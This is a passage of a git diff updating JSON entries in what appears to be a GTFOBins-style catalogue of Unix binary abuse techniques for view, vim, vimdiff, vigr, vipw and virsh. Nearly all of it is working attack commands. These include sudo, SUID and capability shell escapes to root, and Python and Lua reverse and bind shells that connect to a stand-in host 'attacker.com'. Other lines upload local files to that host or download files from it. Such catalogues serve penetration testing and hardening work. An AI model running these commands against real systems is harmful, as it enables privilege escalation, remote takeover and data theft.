os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n" } ], "sudo": [ { - "code": "sudo view -c ':!/bin/sh'" + + "code": "sudo view -c ':!/bin/sh'\n" }, { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "sudo view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "sudo view -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'view' is compiled with Lua support.", - "code": "sudo view -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Lua support.", + "code": "sudo view -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "capabilities": [ { - "description": "This requires that 'view' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./view -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./view -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" } ], "limited-suid": [ { - "description": "This requires that 'view' is compiled with Lua support.", - "code": "./view -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `view` is compiled with Lua support.", + "code": "./view -c ':lua os.execute(\"reset; exec sh\")'\n" } ] } diff --git a/gtfo/data/vigr.json b/gtfo/data/vigr.json new file mode 100644 index 0000000..bd99403 --- /dev/null +++ b/gtfo/data/vigr.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + + "code": "./vigr\n" + } + ], + "sudo": [ + { + + "code": "sudo vigr\n" + } + ] + } +} diff --git a/gtfo/data/vim.json b/gtfo/data/vim.json index 8919569..65be60b 100644 --- a/gtfo/data/vim.json +++ b/gtfo/data/vim.json @@ -2,108 +2,113 @@ "functions": { "shell": [ { - "code": "vim -c ':!/bin/sh'" + + "code": "vim -c ':!/bin/sh'\n" }, { - "code": "vim\n:set shell=/bin/sh\n:shell\n" + + "code": "vim --cmd ':set shell=/bin/sh|:shell'\n" }, { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'vim' is compiled with Lua support.", - "code": "vim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Lua support.", + "code": "vim -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "reverse-shell": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "vim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -lp [port]' on the attacker box to receive the shell. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n" }, { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.", - "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" }, { - "description": "Send a local file via TCP. Run 'nc -lp [port] > [file]' on the attacker box to collect the file. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vim -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nvim -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.", - "code": "vim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")\nvim.command(\":q!\")'\n" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'vim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `vim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "vim [file]\niDATA\n^[\nw\n" + + "code": "vim file_to_write\niDATA\n^[\nw\n" } ], "file-read": [ { - "code": "vim [file]" + + "code": "vim file_to_read\n" } ], "library-load": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "vim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n" } ], "suid": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n" } ], "sudo": [ { - "code": "sudo vim -c ':!/bin/sh'" + + "code": "sudo vim -c ':!/bin/sh'\n" }, { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "sudo vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'vim' is compiled with Lua support.", - "code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Lua support.", + "code": "sudo vim -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "capabilities": [ { - "description": "This requires that 'vim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./vim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./vim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" } ], "limited-suid": [ { - "description": "This requires that 'vim' is compiled with Lua support.", - "code": "./vim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vim` is compiled with Lua support.", + "code": "./vim -c ':lua os.execute(\"reset; exec sh\")'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/vimdiff.json b/gtfo/data/vimdiff.json index 57ee3bf..f3a78de 100644 --- a/gtfo/data/vimdiff.json +++ b/gtfo/data/vimdiff.json @@ -2,107 +2,112 @@ "functions": { "shell": [ { - "code": "vimdiff -c ':!/bin/sh'" + + "code": "vimdiff -c ':!/bin/sh'\n" }, { + "code": "vimdiff\n:set shell=/bin/sh\n:shell\n" }, { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'vimdiff' is compiled with Lua support.", - "code": "vimdiff -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Lua support.", + "code": "vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "reverse-shell": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "vimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port]))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nvimdiff -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vimdiff -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nvimdiff -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nvimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[host]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n" }, { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.", - "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" }, { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vimdiff -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nvimdiff -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.", - "code": "vimdiff -c ':py import vim,sys\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[host]\", \"[file]\")\nvim.command(\":q!\")'\n" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nvimdiff -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'vimdiff' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "vimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `vimdiff` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nvimdiff -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "vimdiff [file]\ni[data]\n^[\nw\n" + + "code": "vimdiff file_to_write\niDATA\n^[\nw\n" } ], "file-read": [ { - "code": "vimdiff [file]" + + "code": "vimdiff file_to_read\n" } ], "library-load": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "vimdiff -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n" } ], "suid": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n" } ], "sudo": [ { - "code": "sudo vimdiff -c ':!/bin/sh'" + + "code": "sudo vimdiff -c ':!/bin/sh'\n" }, { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "sudo vimdiff -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'vimdiff' is compiled with Lua support.", - "code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Lua support.", + "code": "sudo vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "capabilities": [ { - "description": "This requires that 'vimdiff' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./vimdiff -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./vimdiff -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" } ], "limited-suid": [ { - "description": "This requires that 'vimdiff' is compiled with Lua support.", - "code": "./vimdiff -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `vimdiff` is compiled with Lua support.", + "code": "./vimdiff -c ':lua os.execute(\"reset; exec sh\")'\n" } ] } diff --git a/gtfo/data/vipw.json b/gtfo/data/vipw.json new file mode 100644 index 0000000..222e220 --- /dev/null +++ b/gtfo/data/vipw.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + + "code": "./vipw\n" + } + ], + "sudo": [ + { + + "code": "sudo vipw\n" + } + ] + } +} diff --git a/gtfo/data/virsh.json b/gtfo/data/virsh.json index a9d8ce2..d8af332 100644 --- a/gtfo/data/virsh.json +++ b/gtfo/data/virsh.json @@ -2,19 +2,20 @@ "functions": { "sudo": [ { - "code": "TF=$(mktemp)\ncat > $TF << EOF\n\n x\n \n hvm\n \n 1\n \n \n